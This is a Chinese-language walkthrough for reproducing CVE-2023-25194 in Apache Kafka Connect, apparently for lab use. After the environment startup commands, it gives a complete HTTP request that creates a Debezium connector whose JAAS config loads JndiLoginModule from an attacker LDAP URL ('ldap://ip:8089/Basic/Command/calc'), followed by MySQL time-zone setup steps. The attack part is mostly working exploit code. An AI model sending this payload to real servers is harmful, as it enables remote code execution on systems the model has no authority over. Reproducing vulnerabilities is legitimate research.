Apache Kafka JNDI注入漏洞(CVE-2023-25194)
搭建漏洞环境（如果启动报错建议更换为JAVA11）
启动命令
binwindowszookeeper-server-start.bat configzookeeper.properties
binwindowskafka-server-start.bat configserver.properties
binwindowsconnect-standalone.bat config/connect-standalone.properties config/connect-file-source.properties config/connect-file-sink.properties如果提示 输入行太长 命令语法不正确，输入:
set CLASSPATH=漏洞复现
访问http://127.0.0.1:8083/connector-plugins查看是否存在依赖
接着使用如下请求包创建连接器
POST /connectors HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Content-Length: 821
{
"name": "debezium-test-50173",
"config": {
"connector.class": "io.debezium.connector.mysql.MySqlConnector",
"database.hostname": "127.0.0.1",
"database.port": "3306",
"database.user": "root",
"database.password": "root",
"database.server.id": "316545017",
"database.server.name": "test1",
"database.history.kafka.bootstrap.servers": "127.0.0.1:9092",
"database.history.kafka.topic": "quickstart-events", "database.history.producer.security.protocol": "SASL_SSL",
"database.history.producer.sasl.mechanism": "PLAIN",
"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://ip:8089/Basic/Command/calc" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";"
}
}注：需要对数据库进行配置(时区设置)
查看time_zone变量
show variables like '%time_zone%';
设置时期(重启数据库无效):
set global time_zone = '+8:00';
flush privileges;#使之立即生效。
show variables like '%time_zone%';
方法2：
修改配置文件 /etc/my.cnf
[mysqld]
default-time_zone = '+8:00'查询时间，检验时间对不对
select now();
没有用的话重启mysql试一下
systemctl stop mysqld.service
systemctl start mysqld.service
THE END
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Apache Kafka JNDI注入漏洞(CVE-2023-25194)
搭建漏洞环境（如果启动报错建议更换为JAVA11）
kafka_2.11-2.4.0.rar(74.6 MB)
或
http://archive.apache.org/dist/kafka/2.4.0/kafka_2.11-2.4.0.tgz
启动命令
binwindowszookeeper-server-start.bat ……
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